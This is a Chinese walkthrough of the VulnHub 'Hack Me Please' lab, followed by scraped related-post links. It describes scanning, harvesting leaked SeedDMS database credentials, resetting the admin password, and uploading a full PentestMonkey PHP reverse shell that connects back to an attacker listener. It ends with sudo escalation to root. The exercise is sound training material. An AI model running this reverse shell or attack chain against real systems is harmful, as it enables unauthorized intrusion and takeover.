准备:

攻击机:虚拟机kali、本机win10。

靶机:HACK ME PLEASE,下载地址:https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar,下载后直接vbox打开即可。

知识点:seeddms框架、敏感信息泄露、shell上传、目录扫描(较多)。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.110.0/24,获得靶机地址:192.168.110.4。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.4,显示开放了80、3306、33060端口,开启了apache、mysql服务。

目录扫描:

使用dirmap进行目录扫描,发现了一些图片文件和js文件,在http://192.168.110.4/js/main.js文件中发现了一个目录信息:/seeddms51x/seeddms-5.1.22/。

对新发现的两个目录进行扫描,发现了/conf、/data、/doc、/inc等目录和文件,登录界面:http://192.168.110.4//seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php,但是缺少账号和密码,也简单测试了下注入未成功。

对conf目录进行扫描,发现了/seeddms51x/conf/settings.xml,访问该文件查看是否隐藏有账户信息,意外发现了数据库的账号和密码信息:seeddms/seeddms。

数据库连接和web登录:

使用账户信息:seeddms/seeddms在navicat客户端进行连接,查看下数据库内的信息,在tblUsers中发现账户admin和其密码信息:admin

/f9ef2c539bad8a6d2f3432b6d49ab51a、以及:saket/Saket@#$1337。

修改数据库中admin账户的密码信息,在加密网站随便加密一串字符串,这里用的是upfine,将加密的字符串替换掉原来的加密字符串。

使用已知的账户名:admin和修改的密码:upfine,在http://192.168.110.4/seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php界面进行登录。

获取shell:

在登录的web中发现了一处上传功能,上传shell反弹脚本,脚本内容可在:https://www.revshells.com/网站中获取,选取PHP PentestMonkey模块即可,或复制下面代码。

shell反弹脚本

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.110.4';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0; if (function_exists('pcntl_fork')) {
$pid = pcntl_fork(); if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
} if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
} $daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
} chdir("/"); umask(0); // Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
} $descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
} stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
} if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
} $read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
} if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
} if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
} fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process); function printit ($string) {
if (!$daemon) {
print "$string\n";
}
} ?>

使用上传功能上传shell.php脚本信息,上传之后会显示错误信息,但是在主目录下是可以正常看到上传的shell文件的。

然后需要查找下上传文件的目录信息,在下载的seeddms框架中找到了其数据存放的目录为1048576,因此对靶机该目录进行扫描,命令:dirsearch -u http://192.168.110.4/seeddms51x/data/1048576 -e *,发现了/1048576/6目录,继续对此目录进行扫描,发现了1.php文件。

kali端开启对6688端口的监听,然后访问该php文件,成功获得shell权限。

提权:

前往/home目录下简单的查看下都有哪些账户,发现了账户saket,前面在数据库中获得了这个账户的密码:Saket@#$1337,因此我们可以直接切换到saket账户。

查看下当前账户是否存在可以使用的特权命令,sudo -l,显示是all,那就直接sudo su提权到root就好了。

vulnhub靶场之HACK ME PLEASE的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. Kubernetes(K8S)是什么?

    概述 Kubernetes,又称为 k8s(首字母为 k.首字母与尾字母之间有 8 个字符.尾字母为 s,所以简称 k8s)或者简称为 "kube" ,是一种可自动实施 Linux ...

  2. 尝试阅读理解一份linux shell脚本

    以下内容为本人的学习笔记,如需要转载,请声明原文链接微信公众号「englyf」https://www.cnblogs.com/englyf/p/16721350.html 从头一二去阅读语法和命令说明 ...

  3. kvm里的虚拟机硬盘和网卡使用virtio驱动

    1.首先从虚拟机的xml文件中找到已经使用virtio驱动的硬件,复制里面的address这行参数出来 <address type='pci' domain='0x0000' bus='0x00 ...

  4. 第二章:视图层 - 5:HttpRequest对象

    每当一个用户请求发送过来,Django将HTTP数据包中的相关内容,打包成为一个HttpRequest对象,并传递给每个视图函数作为第一位置参数,也就是request,供我们调用. HttpReque ...

  5. 使用docker-compose运行nginx容器挂载时遇到的文件/目录问题

    单独使用docker run命令指定挂载文件路径运行nginx容器是可以的,但是用在docker-compose中就不行了 报错如下: 原因就是挂载出错,不能直接挂载文件,还有挂载的容器里的目录要正确 ...

  6. Portainer实用教程

    Portainer使用 Nginx 容器实现端口转发 在 WordPress 部署完成后,需要在浏览器内输入 IP:端口或域名:端口 的形式访问网站,但我们一般访问应用的时候都是希望不加端口就能访问域 ...

  7. pycharm下载与使用

    pycharm下载与使用 PyCharm是一种Python IDE(Integrated Development Environment,集成开发环境),带有一整套可以帮助用户在使用Python语言开 ...

  8. 洛谷P3870 [TJOI2009] 开关 (线段树)

    简单的省选题...... 打异或标记即可. 1 #include<bits/stdc++.h> 2 const int N=2e5+10; 3 using namespace std; 4 ...

  9. 华为云ubunbu部署.NetCore3.1项目(DDD商城)

    提前项目打包发布,文件传输工具Filezilla,注意是选择sftp协议,将publish文件传到/home文件夹下 第一步  .NetCoreSDK安装 微软官方的文档https://docs.mi ...

  10. 齐博x1模板中常用的TP标签数据处理

    上图是比较常用的, 而下图是比较特殊的场合,比如幻灯片可能会用到 下图使用了TP的循环标签. 上图只使用了条件判断标签 上图不存在 val="xxx" 这个参数,所以会自动循环输出 ...